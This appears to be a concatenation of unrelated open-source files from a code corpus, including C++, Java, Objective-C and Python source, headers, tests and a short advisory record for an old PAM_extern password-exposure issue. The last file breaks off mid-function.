// QtTesting includes
#include "pqTestUtility.h"
// STD includes
#include <cstdlib>
#include <iostream>
namespace
{
//-----------------------------------------------------------------------------
void checkFinalWidgetState(void* data)
{
ctkCollapsibleButton* widget = reinterpret_cast<ctkCollapsibleButton*>(data);
CTKCOMPARE(widget->collapsed(), true);
CTKCOMPARE(widget->collapsedHeight(), 10);
QApplication::exit(EXIT_SUCCESS);
}
}
//-----------------------------------------------------------------------------
int ctkCollapsibleButtonEventTranslatorPlayerTest1(int argc, char * argv [])
{
QApplication app(argc, argv);
QString xmlDirectory = CTK_SOURCE_DIR "/Libs/Widgets/Testing/Cpp/";
// ------------------------
ctkEventTranslatorPlayerWidget etpWidget;
pqTestUtility* testUtility = new pqTestUtility(&etpWidget);
etpWidget.setTestUtility(testUtility);
// Test case 1
ctkCollapsibleButton* widget = new ctkCollapsibleButton();
widget->setText("top button");
QPushButton * button= new QPushButton(QObject::tr("Button"));
ctkCollapsibleButton *collapsibleButton2 = new ctkCollapsibleButton(QObject::tr("Nested Collapsible Button"));
ctkCollapsibleButton *collapsibleButton3 = new ctkCollapsibleButton(QObject::tr("CollapsibleButton"));
collapsibleButton3->setIcon(collapsibleButton3->style()->standardIcon(QStyle::SP_FileDialogDetailedView));
QPushButton * button2 = new QPushButton(QObject::tr("Nested PushButton"));
QVBoxLayout *nestedBox = new QVBoxLayout;
nestedBox->addWidget(button2);
collapsibleButton3->setLayout(nestedBox);
QVBoxLayout *vbox = new QVBoxLayout;
vbox->addWidget(button);
vbox->addWidget(collapsibleButton2);
vbox->addWidget(collapsibleButton3);
widget->setLayout(vbox);
etpWidget.addTestCase(widget,
xmlDirectory + "ctkCollapsibleButtonEventTranslatorPlayerTest1.xml",
&checkFinalWidgetState);
// ------------------------
if (argc < 2 || QString(argv[1]) != "-I")
{
QTimer::singleShot(0, &etpWidget, SLOT(play()));
}
etpWidget.show();
return app.exec();
}
| 1,013 |
758 | <gh_stars>100-1000
//
// TKRawPixelRendition.h
// ThemeKit
//
// Created by <NAME> on 7/6/15.
// Copyright © 2015 <NAME>. All rights reserved.
//
#import <ThemeKit/TKBitmapRendition.h>
@interface TKRawPixelRendition : TKBitmapRendition
@end
| 101 |
3,102 | //===--- DiagnosticParse.h - Diagnostics for libparse -----------*- C++ -*-===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
#ifndef LLVM_CLANG_PARSE_PARSEDIAGNOSTIC_H
#define LLVM_CLANG_PARSE_PARSEDIAGNOSTIC_H
#include "clang/Basic/DiagnosticParse.h"
#endif
| 168 |
836 | <reponame>dayanruben/android-test
/*
* Copyright (C) 2016 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
package androidx.test.espresso.action;
import static androidx.test.espresso.action.ViewActions.closeSoftKeyboard;
import static androidx.test.espresso.action.ViewActions.pressImeActionButton;
import static androidx.test.espresso.action.ViewActions.pressKey;
import static androidx.test.espresso.action.ViewActions.replaceText;
import static androidx.test.espresso.action.ViewActions.swipeUp;
import static androidx.test.espresso.action.ViewActions.typeText;
import static androidx.test.espresso.action.ViewActions.typeTextIntoFocusedView;
import static org.hamcrest.CoreMatchers.equalTo;
import static org.hamcrest.CoreMatchers.notNullValue;
import static org.hamcrest.Matchers.is;
import static org.junit.Assert.assertThat;
import android.view.KeyEvent;
import androidx.test.espresso.ViewAction;
import androidx.test.espresso.proto.action.ViewActions.CloseKeyboardActionProto;
import androidx.test.espresso.proto.action.ViewActions.EditorActionProto;
import androidx.test.espresso.proto.action.ViewActions.KeyEventActionProto;
import androidx.test.espresso.proto.action.ViewActions.ReplaceTextActionProto;
import androidx.test.espresso.proto.action.ViewActions.SwipeViewActionProto;
import androidx.test.espresso.proto.action.ViewActions.TypeTextActionProto;
import androidx.test.espresso.remote.GenericRemoteMessage;
import androidx.test.espresso.remote.RemoteDescriptorRegistry;
import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.filters.SmallTest;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
/** Remote message transformation related test for all actions under {@link ViewActions} */
@RunWith(AndroidJUnit4.class)
@SmallTest
public class RemoteViewActionsTest {
private static final String TEXT_TO_SET = "Cortado";
private static final int KEY_CODE = KeyEvent.KEYCODE_0;
private static final int META_STATE = 0 | KeyEvent.META_SHIFT_ON;
@Before
public void registerViewActionsWithRegistry() {
RemoteViewActions.init(RemoteDescriptorRegistry.getInstance());
}
@Test
public void closeKeyboardAction_transformationToProto() {
ViewAction closeKeyboardAction = closeSoftKeyboard();
CloseKeyboardActionProto closeKeyboardActionProto =
(CloseKeyboardActionProto) new GenericRemoteMessage(closeKeyboardAction).toProto();
assertThat(closeKeyboardActionProto, notNullValue());
}
@Test
public void closeKeyboardAction_transformationFromProto() {
ViewAction closeKeyboardAction = closeSoftKeyboard();
CloseKeyboardActionProto closeKeyboardActionProto =
(CloseKeyboardActionProto) new GenericRemoteMessage(closeKeyboardAction).toProto();
CloseKeyboardAction closeKeyboardActionFromProto =
(CloseKeyboardAction) GenericRemoteMessage.FROM.fromProto(closeKeyboardActionProto);
assertThat(closeKeyboardActionFromProto, notNullValue());
}
@Test
public void editorAction_transformationToProto() {
ViewAction editorAction = pressImeActionButton();
EditorActionProto editorActionActionProto =
(EditorActionProto) new GenericRemoteMessage(editorAction).toProto();
assertThat(editorActionActionProto, notNullValue());
}
@Test
public void editorAction_transformationFromProto() {
ViewAction editorAction = pressImeActionButton();
EditorActionProto editorActionActionProto =
(EditorActionProto) new GenericRemoteMessage(editorAction).toProto();
EditorAction editorActionFromProto =
(EditorAction) GenericRemoteMessage.FROM.fromProto(editorActionActionProto);
assertThat(editorActionFromProto, notNullValue());
}
@Test
public void replaceTextAction_transformationToProto() {
ViewAction replaceTextAction = replaceText(TEXT_TO_SET);
ReplaceTextActionProto replaceTextActionProto =
(ReplaceTextActionProto) new GenericRemoteMessage(replaceTextAction).toProto();
assertThat(replaceTextActionProto, notNullValue());
}
@Test
public void replaceTextAction_transformationFromProto() {
ViewAction replaceTextAction = replaceText(TEXT_TO_SET);
ReplaceTextActionProto replaceTextActionProto =
(ReplaceTextActionProto) new GenericRemoteMessage(replaceTextAction).toProto();
ReplaceTextAction replaceTextActionFromProto =
(ReplaceTextAction) GenericRemoteMessage.FROM.fromProto(replaceTextActionProto);
assertThat(replaceTextActionFromProto.stringToBeSet, equalTo(TEXT_TO_SET));
}
@Test
public void typeTextAction_transformationToProto() {
ViewAction typeTextAction = typeText(TEXT_TO_SET);
TypeTextActionProto typeTextActionProto =
(TypeTextActionProto) new GenericRemoteMessage(typeTextAction).toProto();
assertThat(typeTextActionProto, notNullValue());
}
@Test
public void typeTextAction_transformationFromProto() {
ViewAction typeTextAction = typeTextIntoFocusedView(TEXT_TO_SET);
TypeTextActionProto typeTextActionProto =
(TypeTextActionProto) new GenericRemoteMessage(typeTextAction).toProto();
TypeTextAction typeTextActionFromProto =
(TypeTextAction) GenericRemoteMessage.FROM.fromProto(typeTextActionProto);
assertThat(typeTextActionFromProto.stringToBeTyped, equalTo(TEXT_TO_SET));
assertThat(typeTextActionFromProto.tapToFocus, is(false));
}
@Test
public void keyEventAction_transformationToProto() {
EspressoKey espressoKey =
new EspressoKey.Builder().withKeyCode(KEY_CODE).withShiftPressed(true).build();
KeyEventAction keyEventAction = (KeyEventAction) pressKey(espressoKey);
KeyEventActionProto keyEventActionProto =
(KeyEventActionProto) new GenericRemoteMessage(keyEventAction).toProto();
assertThat(keyEventActionProto, notNullValue());
}
@Test
public void keyEventAction_transformationFromProto() {
EspressoKey espressoKey =
new EspressoKey.Builder().withKeyCode(KEY_CODE).withShiftPressed(true).build();
KeyEventAction keyEventAction = (KeyEventAction) pressKey(espressoKey);
KeyEventActionProto keyEventActionProto =
(KeyEventActionProto) new GenericRemoteMessage(keyEventAction).toProto();
KeyEventAction keyEventActionFromProto =
(KeyEventAction) GenericRemoteMessage.FROM.fromProto(keyEventActionProto);
assertThat(keyEventActionFromProto.espressoKey.getKeyCode(), equalTo(KEY_CODE));
assertThat(keyEventActionFromProto.espressoKey.getMetaState(), equalTo(META_STATE));
}
@Test
public void swipeAction_transformationToProto() {
SwipeViewActionProto swipeDownActionProto =
new GeneralSwipeActionRemoteMessage((GeneralSwipeAction) swipeUp()).toProto();
assertThat(swipeDownActionProto, notNullValue());
}
@Test
public void swipeAction_transformationFromProto() {
TranslatedCoordinatesProvider expectedTCP =
new TranslatedCoordinatesProvider(GeneralLocation.BOTTOM_CENTER, 0, -0.083f);
SwipeViewActionProto swipeDownActionProto =
new GeneralSwipeActionRemoteMessage((GeneralSwipeAction) swipeUp()).toProto();
GeneralSwipeAction swipeAction =
(GeneralSwipeAction) GeneralSwipeActionRemoteMessage.FROM.fromProto(swipeDownActionProto);
assertThat(swipeAction.swiper, equalTo(Swipe.FAST));
assertThat(
((TranslatedCoordinatesProvider) swipeAction.startCoordinatesProvider).dx,
equalTo(expectedTCP.dx));
assertThat(
((TranslatedCoordinatesProvider) swipeAction.startCoordinatesProvider).dy,
equalTo(expectedTCP.dy));
assertThat(swipeAction.endCoordinatesProvider, equalTo(GeneralLocation.TOP_CENTER));
assertThat(swipeAction.precisionDescriber, equalTo(Press.FINGER));
}
}
| 2,652 |
1,744 | package org.embulk.spi.time;
// org.embulk.spi.time.TimestampFormat is deprecated.
// It won't be removed very soon at least until Embulk v0.10.
@Deprecated
public class TimestampFormat {
public TimestampFormat(final String format) {
this.format = format;
}
public String getFormat() {
return this.format;
}
private final String format;
}
| 133 |
453 | <reponame>The0x539/wasp
/* Copyright (c) 2016 Phoenix Systems
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
SUCH DAMAGE.*/
#ifndef _SYS_RESOURCE_H
#define _SYS_RESOURCE_H
#include <sys/time.h>
#include <sys/types.h>
#define RUSAGE_SELF 0
#define RUSAGE_CHILDREN (-1)
#define RUSAGE_BOTH (-2) /* sys_wait4() uses this */
#define RUSAGE_THREAD 1 /* Only the calling thread */
struct rusage {
struct timeval ru_utime; /* User time used */
struct timeval ru_stime; /* System time used */
long ru_maxrss; /* Maximum resident set size */
long ru_ixrss; /* Integral shared memory size */
long ru_idrss; /* Integral unshared data size */
long ru_isrss; /* Integral unshared stack size */
long ru_minflt; /* Page reclaims */
long ru_majflt; /* Page faults */
long ru_nswap; /* Swaps */
long ru_inblock; /* Block input operations */
long ru_oublock; /* Block output operations */
long ru_msgsnd; /* Messages sent */
long ru_msgrcv; /* Messages received */
long ru_nsignals; /* Signals received */
long ru_nvcsw; /* Voluntary context switches */
long ru_nivcsw; /* Involuntary */
};
typedef unsigned long rlim_t;
struct rlimit {
rlim_t rlim_cur;
rlim_t rlim_max;
};
#define RLIM64_INFINITY (~0ULL)
struct rlimit64 {
uint64_t rlim_cur;
uint64_t rlim_max;
};
#define PRIO_MIN (-20)
#define PRIO_MAX 20
#define PRIO_PROCESS 0
#define PRIO_PGRP 1
#define PRIO_USER 2
/*
* Limit the stack by to some sane default: root can always
* increase this limit if needed. 8MB seems reasonable.
*/
#define _STK_LIM (8 * 1024 * 1024)
/*
* GPG2 wants 64kB of mlocked memory, to make sure pass phrases
* and other sensitive information are never written to disk.
*/
#define MLOCK_LIMIT ((PAGE_SIZE > 64 * 1024) ? PAGE_SIZE : 64 * 1024)
#define RLIMIT_CPU 0 /* CPU time in sec */
#define RLIMIT_FSIZE 1 /* Maximum filesize */
#define RLIMIT_DATA 2 /* Max data size */
#define RLIMIT_STACK 3 /* Max stack size */
#define RLIMIT_CORE 4 /* Max core file size */
#define RLIMIT_RSS 5 /* Max resident set size */
#define RLIMIT_NPROC 6 /* Max number of processes */
#define RLIMIT_NOFILE 7 /* Max number of open files */
#define RLIMIT_OFILE RLIMIT_NOFILE
#define RLIMIT_MEMLOCK 8 /* Max locked-in-memory address space */
#define RLIMIT_AS 9 /* Address space limit */
#define RLIMIT_LOCKS 10 /* Maximum file locks held */
#define RLIMIT_SIGPENDING 11 /* Max number of pending signals */
#define RLIMIT_MSGQUEUE 12 /* Maximum bytes in POSIX mqueues */
#define RLIMIT_NICE 13 /* Max nice prio allowed to raise to 0-39 for nice level 19 .. -20 */
#define RLIMIT_RTPRIO 14 /* Maximum realtime priority */
#define RLIMIT_RTTIME 15 /* Timeout for RT tasks in us */
#define RLIM_NLIMITS 16
#ifndef RLIM_INFINITY
#define RLIM_INFINITY (~0UL)
#endif
/* RLIMIT_STACK default maximum - some architectures override it. */
#ifndef _STK_LIM_MAX
#define _STK_LIM_MAX RLIM_INFINITY
#endif
int getpriority(int which, id_t who);
int setpriority(int which, id_t who, int prio);
int getrlimit(int resource, struct rlimit *rlim);
int setrlimit(int resource, const struct rlimit *rlim);
int getrusage(int who, struct rusage *usage);
#endif
| 1,644 |
312 | <filename>src/platform/generic/error.c
/*
* Copyright (C) 2011, Parrot Foundation.
*/
/*
=head1 NAME
src/platform/generic/error.c
=head1 DESCRIPTION
Functions for handling system errors.
=head2 Functions
=over 4
=cut
*/
#include "parrot/parrot.h"
/* HEADERIZER HFILE: none */
/*
=item C<STRING * Parrot_platform_strerror(PARROT_INTERP, INTVAL error)>
Returns a error message for a system error code.
=cut
*/
PARROT_CANNOT_RETURN_NULL
STRING *
Parrot_platform_strerror(PARROT_INTERP, INTVAL error)
{
const char *msg = strerror(error);
return Parrot_str_new(interp, msg, 0);
}
/*
=back
=cut
*/
/*
* Local variables:
* c-file-style: "parrot"
* End:
* vim: expandtab shiftwidth=4 cinoptions='\:2=2' :
*/
| 301 |
892 | <gh_stars>100-1000
{
"schema_version": "1.2.0",
"id": "GHSA-f3x3-fj97-5v36",
"modified": "2022-05-01T07:30:35Z",
"published": "2022-05-01T07:30:35Z",
"aliases": [
"CVE-2006-5659"
],
"details": "PAM_extern before 0.2 sends a password as a command line argument, which allows local users to obtain the password by listing the command line arguments, such as ps. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.",
"severity": [
],
"affected": [
],
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-5659"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/29912"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/4235"
}
],
"database_specific": {
"cwe_ids": [
],
"severity": "LOW",
"github_reviewed": false
}
} | 419 |
1,127 | # Copyright (C) 2018-2022 Intel Corporation
# SPDX-License-Identifier: Apache-2.0
import json
from openvino.tools.mo.front.common.replacement import FrontReplacementPattern
from openvino.tools.mo.graph.graph import Graph
from openvino.tools.mo.utils.custom_replacement_config import parse_custom_replacement_config_file
from openvino.tools.mo.utils.error import Error
from openvino.tools.mo.utils.utils import refer_to_faq_msg
class TensorflowCustomOperationsConfigUpdate(FrontReplacementPattern):
enabled = True
graph_condition = [lambda graph: graph.graph['cmd_params'].tensorflow_custom_operations_config_update is not None]
def run_before(self):
return []
def run_after(self):
from openvino.tools.mo.front.freeze_placeholder_value import FreezePlaceholderValue
return [FreezePlaceholderValue]
@staticmethod
def save_custom_replacement_config_file(descriptions: list, file_name: str):
"""
Save custom layer(s) description(s) to the file.
:param file_name: file to save description information to.
:param descriptions: list with instances of the CustomLayerDescriptor classes.
:return: True if operation is successful.
"""
try:
json.dump([replacement_desc.get_config_file_representation() for replacement_desc in descriptions],
open(file_name, "w"), indent=4, sort_keys=True)
except Exception as ex:
raise Error("failed to update configuration file {}: {}".format(file_name, str(ex)))
def find_and_replace_pattern(self, graph: Graph):
argv = graph.graph['cmd_params']
file_name = argv.tensorflow_custom_operations_config_update
data = parse_custom_replacement_config_file(file_name)
if data is None:
raise Error("Cannot update the file '{}' because it is broken. ".format(file_name) + refer_to_faq_msg(73))
for replacement_desc in data:
replacement_desc.update_custom_replacement_attributes(graph)
self.save_custom_replacement_config_file(data, file_name)
| 767 |
1,200 | #ifndef CARRERA_DELAY_PRODUCER_CLIENT_H
#define CARRERA_DELAY_PRODUCER_CLIENT_H
#include "ProducerService.h"
#include <thrift/concurrency/Thread.h>
#include <thrift/concurrency/Mutex.h>
#include <map>
#include <exception>
#include <boost/shared_ptr.hpp>
#include "HttpMQTask.h"
#include "BridgeQHolder.h"
#include "DelayConfig.h"
using boost::shared_ptr;
namespace CarreraProducer {
class DelayProducer {
public:
DelayProducer(DelayConfig& config) : config_(config) {}
int Init();
RespInfo Send(HttpMQTask& task, const std::string& biz_key, const std::string& product,
const std::map<std::string, std::string>& http_headers = std::map<std::string, std::string> ());
RespInfo Cancel(HttpMQTask& task, const std::string& biz_key, const std::string& product,
const std::map<std::string, std::string>& http_headers = std::map<std::string, std::string> ());
private:
RespInfo Post(HttpMQTask& task, const std::string& biz_key,
const std::string& product, const std::map<std::string, std::string>& http_headers, int task_type);
private:
boost::shared_ptr<BridgeQHolder> bridgeq_holder_;
int timeout_;
int connect_timeout_;
DelayConfig config_;
};
}
#endif
| 475 |
381 | package com.tngtech.jgiven.testframework;
import java.util.Arrays;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
import org.junit.runners.Parameterized.Parameters;
import com.tngtech.jgiven.GivenScenarioTest;
import com.tngtech.jgiven.JGivenScenarioTest;
import com.tngtech.jgiven.tags.FeatureJUnit;
import com.tngtech.jgiven.tags.FeaturePending;
import com.tngtech.jgiven.tags.FeatureTags;
import com.tngtech.jgiven.tags.FeatureTestNg;
import com.tngtech.jgiven.tags.Issue;
@FeatureJUnit
@FeatureTestNg
@RunWith( Parameterized.class )
public class TestFrameworkExecutionTest extends JGivenScenarioTest<GivenScenarioTest<?>, WhenTestFramework<?>, ThenTestFramework<?>> {
public final TestFramework testFramework;
@Parameters
public static Iterable<Object[]> testFrameworks() {
return Arrays.asList( new Object[][] {
{ TestFramework.JUnit },
{ TestFramework.TestNG },
} );
}
public TestFrameworkExecutionTest( TestFramework testFramework ) {
this.testFramework = testFramework;
}
@Test
@FeaturePending
public void failing_tests_annotated_with_Pending_are_ignored() {
given().a_failing_test()
.and().the_test_is_annotated_with_Pending();
when().the_test_is_executed_with( testFramework );
then().the_test_is_ignored();
}
@Test
@FeaturePending
public void passing_tests_annotated_with_Pending_are_ignored() {
given().a_passing_test()
.and().the_test_is_annotated_with_Pending();
when().the_test_is_executed_with( testFramework );
then().the_test_is_ignored();
}
@Test
@Issue( "#4" )
@FeaturePending
public void passing_tests_annotated_with_Pending_with_failIfPassed_set_to_true_fail() {
given().a_passing_test()
.and().the_test_is_annotated_with_Pending()
.with().failIfPassed_set_to_true();
when().the_test_is_executed_with( testFramework );
then().the_test_fails_with_message( "Test succeeded, but failIfPassed set to true. Now might be the right time to remove the @Pending annotation." );
}
@Test
@Issue( "#4" )
@FeaturePending
public void failing_tests_annotated_with_Pending_with_failIfPassed_set_to_true_are_ignored() {
given().a_failing_test()
.and().the_test_is_annotated_with_Pending()
.with().failIfPassed_set_to_true();
when().the_test_is_executed_with( testFramework );
then().the_test_is_ignored();
}
@Test
@FeaturePending
public void failing_tests_annotated_with_Pending_with_executeSteps_set_to_true_are_ignored() {
given().a_failing_test()
.and().the_test_is_annotated_with_Pending()
.with().executeSteps_set_to_true();
when().the_test_is_executed_with( testFramework );
then().the_test_is_ignored();
}
@Test
public void passing_steps_before_failing_steps_are_reported_as_passed() {
given().a_failing_test_with_$_steps( 2 )
.and().step_$_fails( 2 );
when().the_test_is_executed_with( testFramework );
then().step_$_is_reported_as_passed( 1 )
.and().step_$_is_reported_as_failed( 2 );
}
@Test
public void the_error_message_of_a_failing_step_is_reported() {
given().a_failing_test();
when().the_test_is_executed_with( testFramework );
then().the_case_is_marked_as_failed()
.and().an_error_message_is_stored_in_the_report();
}
@Test
@FeatureTags
public void tag_annotations_appear_in_the_report_model() {
given().a_test()
.and().the_test_has_a_tag_annotation_named( "TestTag" );
when().the_test_is_executed_with( testFramework );
then().the_report_model_contains_a_tag_named( "com.tngtech.jgiven.tests.TestTag" );
}
@Test
public void description_annotations_on_test_classes_are_evaluated() {
given().a_test_class()
.and().the_test_class_has_a_description_annotation_with_value( "Test Description" );
when().the_test_is_executed_with( testFramework );
then().the_description_of_the_report_model_is( "Test Description" );
}
}
| 1,830 |
1,280 | <reponame>linb/crossui
package com.crossui;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/**
*
* @author linb
*
*/
public class DemoServlet extends HttpServlet {
private static final long serialVersionUID = 1L;
protected void service(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
Map<String, Object> hRequestData = null;
Map<String, Object> hResponseData = new HashMap<String, Object>();
boolean ok=true;
try {
hRequestData = xuiUtils.getRequestData(req);
if(Math.random()>0.5){
ok=true;
// business logic code
// $outputData can be any variable
hResponseData.put("strRresult","str");
hResponseData.put("intResult", System.currentTimeMillis());
hResponseData.put("inputData", hRequestData);
}
else{
ok=false;
hResponseData.put("code","1");
hResponseData.put("message", "error message");
}
} catch (Exception e) {
// fail
ok=false;
// error info
hResponseData.put("code","2");
StringBuffer sb = new StringBuffer();
sb.append(e.toString() + " => ");
StackTraceElement[] ses = e.getStackTrace();
for (int i = 0; i < ses.length; i++) {
sb.append(ses[i].toString());
sb.append("<br />");
}
hResponseData.put("message", sb.toString());
}
xuiUtils.echoResponse(req, resp, hRequestData, hResponseData, ok);
}
} | 680 |
302 | <filename>plugins/csp-measurement-tools/src/voronoi/Arc.cpp
////////////////////////////////////////////////////////////////////////////////////////////////////
// This file is part of CosmoScout VR //
// and may be used under the terms of the MIT license. See the LICENSE file for details. //
// Copyright: (c) 2019 German Aerospace Center (DLR) //
////////////////////////////////////////////////////////////////////////////////////////////////////
#include "Arc.hpp"
#include "Breakpoint.hpp"
namespace csp::measurementtools {
Arc::Arc(Site const& s)
: mSite(s)
, mLeftBreak(nullptr)
, mRightBreak(nullptr)
, mEvent(nullptr) {
}
void Arc::invalidateEvent() {
if (mEvent) {
if (mEvent->mIsValid) {
mEvent->mIsValid = false;
}
mEvent = nullptr;
}
}
} // namespace csp::measurementtools
| 370 |
369 | /*
* Copyright © 2014 <NAME>, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package io.cdap.cdap.security.auth;
import com.google.common.util.concurrent.AbstractIdleService;
import com.google.inject.Inject;
import io.cdap.cdap.common.io.Codec;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.IOException;
import java.util.Base64;
/**
* This class validates the accessToken and returns the different states
* of accessToken validation.
*/
public class AccessTokenValidator extends AbstractIdleService implements TokenValidator {
private static final Logger LOG = LoggerFactory.getLogger(AccessTokenValidator.class);
private final TokenManager tokenManager;
private final Codec<AccessToken> accessTokenCodec;
@Inject
public AccessTokenValidator(TokenManager tokenManager, Codec<AccessToken> accessTokenCodec) {
this.tokenManager = tokenManager;
this.accessTokenCodec = accessTokenCodec;
}
@Override
protected void startUp() throws Exception {
tokenManager.startAndWait();
}
@Override
protected void shutDown() throws Exception {
tokenManager.stopAndWait();
}
@Override
public TokenState validate(String token) {
AccessToken accessToken;
TokenState state = TokenState.VALID;
if (token == null) {
LOG.debug("Token is missing");
return TokenState.MISSING;
}
byte[] decodedToken = Base64.getDecoder().decode(token);
try {
accessToken = accessTokenCodec.decode(decodedToken);
tokenManager.validateSecret(accessToken);
} catch (IOException ioe) {
state = TokenState.INVALID;
LOG.debug("Unknown Schema version for Access Token. {}", ioe);
} catch (InvalidTokenException ite) {
state = ite.getReason();
LOG.debug("{} {}", state, ite);
}
return state;
}
}
| 727 |
841 | /*
* Copyright 2017 Red Hat, Inc. and/or its affiliates.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.jbpm.services.task.persistence;
import java.util.List;
import javax.persistence.EntityManager;
import javax.persistence.Query;
import javax.persistence.criteria.CriteriaBuilder;
import javax.persistence.criteria.CriteriaQuery;
import javax.persistence.criteria.Predicate;
import org.jbpm.query.jpa.data.QueryCriteria;
import org.jbpm.query.jpa.data.QueryWhere;
import org.jbpm.query.jpa.impl.QueryCriteriaUtil;
import org.kie.internal.task.api.TaskPersistenceContext;
public class AbstractTaskQueryCriteriaUtil extends QueryCriteriaUtil {
protected final JPATaskPersistenceContext persistenceContext;
public AbstractTaskQueryCriteriaUtil(TaskPersistenceContext persistenceContext) {
this.persistenceContext = (JPATaskPersistenceContext) persistenceContext;
}
public AbstractTaskQueryCriteriaUtil() {
this.persistenceContext = null;
}
protected EntityManager getEntityManager() {
return this.persistenceContext.getEntityManager();
}
protected Object joinTransaction(EntityManager em) {
this.persistenceContext.joinTransaction();
return true;
}
protected CriteriaBuilder getCriteriaBuilder() {
return getEntityManager().getCriteriaBuilder();
}
protected void closeEntityManager(EntityManager em, Object transaction) {
// do nothing
}
@Override
protected boolean initializeCriteriaAttributes() {
return shouldBeImplementedInChildClass(boolean.class);
}
@Override
protected <R, T> Predicate implSpecificCreatePredicateFromSingleCriteria( CriteriaQuery<R> query, CriteriaBuilder builder,
Class queryType, QueryCriteria criteria, QueryWhere queryWhere ) {
return shouldBeImplementedInChildClass(Predicate.class);
}
@Override
protected <T> List<T> createQueryAndCallApplyMetaCriteriaAndGetResult(QueryWhere queryWhere, CriteriaQuery<T> criteriaQuery, CriteriaBuilder builder) {
EntityManager em = getEntityManager();
Object newTx = joinTransaction(em);
Query query = em.createQuery(criteriaQuery);
applyMetaCriteriaToQuery(query, queryWhere);
// execute query
List<T> result = query.getResultList();
// depending on the context, this is done
// 1. here
// 1. *outside* of this class (this method is a no-op)
closeEntityManager(em, newTx);
return result;
}
private static <T> T shouldBeImplementedInChildClass(Class<T> returnClass) {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
throw new IllegalAccessError(AbstractTaskQueryCriteriaUtil.class.getSimpleName() + "." + methodName + " should be overridden in the extending class!");
}
}
| 1,097 |
3,100 | /**
******************************************************************************
* Xenia : Xbox 360 Emulator Research Project *
******************************************************************************
* Copyright 2020 <NAME>. All rights reserved. *
* Released under the BSD license - see LICENSE in the root for more details. *
******************************************************************************
*/
#include "xenia/kernel/xam/apps/xmp_app.h"
#include "xenia/kernel/xthread.h"
#include "xenia/base/logging.h"
#include "xenia/base/threading.h"
namespace xe {
namespace kernel {
namespace xam {
namespace apps {
XmpApp::XmpApp(KernelState* kernel_state)
: App(kernel_state, 0xFA),
state_(State::kIdle),
disabled_(0),
playback_mode_(PlaybackMode::kUnknown),
repeat_mode_(RepeatMode::kUnknown),
unknown_flags_(0),
volume_(0.0f),
active_playlist_(nullptr),
active_song_index_(0),
next_playlist_handle_(1),
next_song_handle_(1) {}
X_HRESULT XmpApp::XMPGetStatus(uint32_t state_ptr) {
if (!XThread::GetCurrentThread()->main_thread()) {
// Some stupid games will hammer this on a thread - induce a delay
// here to keep from starving real threads.
xe::threading::Sleep(std::chrono::milliseconds(1));
}
XELOGD("XMPGetStatus({:08X})", state_ptr);
xe::store_and_swap<uint32_t>(memory_->TranslateVirtual(state_ptr),
static_cast<uint32_t>(state_));
return X_E_SUCCESS;
}
X_HRESULT XmpApp::XMPCreateTitlePlaylist(
uint32_t songs_ptr, uint32_t song_count, uint32_t playlist_name_ptr,
const std::u16string& playlist_name, uint32_t flags,
uint32_t out_song_handles, uint32_t out_playlist_handle) {
XELOGD(
